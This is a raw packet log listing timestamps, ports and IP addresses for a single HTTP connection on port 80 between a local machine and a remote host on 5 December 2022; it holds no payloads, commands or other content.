Dec 5, 2022 06:44:35.821089983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.821110010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.821154118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.821213007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.821795940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.821840048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.821881056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.821916103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.821928978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.821943998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.822592020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.822635889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.822679043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.822699070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.822736025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.822736979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.823406935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.823451996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.823478937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.823507071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.823555946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.823565960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.824239969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.824282885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.824314117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.824340105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.824390888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.824400902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.824976921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.825042963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.825191975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.825236082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.825278997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:35.825299025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:35.921623945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.295408010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.328077078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328139067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328202009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328260899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328263044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.328310966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328383923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.328443050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328488111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328528881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328557968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.328587055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.328588009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328634977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.328696966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.329601049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.329647064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.329689980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.329732895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.329762936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.329786062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.329828978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.330275059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.330318928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.330364943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.330394983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.330421925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.330456972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.330486059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.330584049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.331304073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.331361055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.331407070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.331439972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.331463099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.331520081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.331542969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.332576990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.332658052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.332701921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.332746983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.332762957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.332771063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.332818031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.332890034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.333103895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.333148956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.333194971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.333218098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.333247900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.333291054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.333362103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.334016085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.334059954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.334104061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.334129095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.334161997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.334171057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.334208965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.334273100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.335303068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.335347891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.335388899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.335426092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.335448027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.335493088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.336304903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.336357117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.336361885 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.336409092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.336412907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.336457968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.336483955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.336505890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.340481997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.345283031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.345335960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.345376968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.345432043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.345443010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.345490932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.345494986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.345535040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.345577002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.345597029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.345624924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.345690966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.346610069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.346656084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.346704006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.346718073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.346755028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.346796989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.346857071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.347321987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.347366095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.347407103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.347450972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.347466946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.347520113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.347524881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.348262072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.348313093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.348337889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.348355055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.348414898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.349786043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.349832058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.349874973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.349910021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.349927902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.349977970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.349992037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.350038052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.350210905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.350255966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.350301027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.350327015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.350353956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.350406885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.350424051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.351267099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.351310015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.351361036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.351370096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.351427078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.351430893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.351476908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.352075100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.352123976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.352143049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.352176905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.352235079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.352242947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.352292061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.352293015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.353336096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.353380919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.353427887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.353468895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.353492975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.353547096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.353566885 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.353612900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.357315063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.357357979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.357397079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.357451916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.357454062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.357495070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.357551098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.364012957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364058971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364098072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364159107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364197969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.364197969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.364212036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364260912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364268064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.364305973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364353895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364363909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.364398003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364440918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364484072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.364499092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.364626884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.365489006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.365530014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.365569115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.365607023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.365644932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.365684032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.365722895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.365761042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.365983963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.366014957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.366065025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.366091967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.367059946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.367105961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.367149115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.367194891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.368205070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.368249893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.368318081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.368340015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.368371964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.368418932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.368437052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.368479013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.368483067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.368530989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.368572950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.368638992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.369132996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.369180918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.369224072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.369259119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.369282961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.369286060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.369333982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.369381905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.369396925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.369434118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.369484901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.369497061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.370449066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.370495081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.370537043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.370573044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.370596886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.370596886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.370646954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.370696068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.370711088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.370738029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.370798111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.371551037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.374284029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374334097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374376059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374428034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374442101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.374480009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374521971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374563932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374608040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374758005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374806881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374847889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374917030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.374963999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.374980927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375001907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.375036001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375080109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375121117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375308037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.375682116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375725985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375767946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375814915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.375825882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375870943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375916004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.375937939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.375969887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.376013041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.376475096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.376640081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.376698971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.376796961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.376837969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.376879930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.376921892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.376971006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.376997948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377007008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.377048016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377089977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377280951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.377691984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377737045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377780914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377821922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377863884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377904892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377947092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.377989054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.378133059 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.378618956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.378664970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.378695011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.378717899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.378766060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.378779888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.378819942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.378866911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.378895998 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.378948927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.378992081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379023075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.379528046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379621029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379663944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379714966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.379726887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379734039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.379780054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379823923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379868031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.379879951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379924059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379971027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.379988909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.380508900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.380625010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.380667925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.380712986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.380736113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.380767107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.380814075 CET	80	49704	66.235.200.147	192.168.2.3
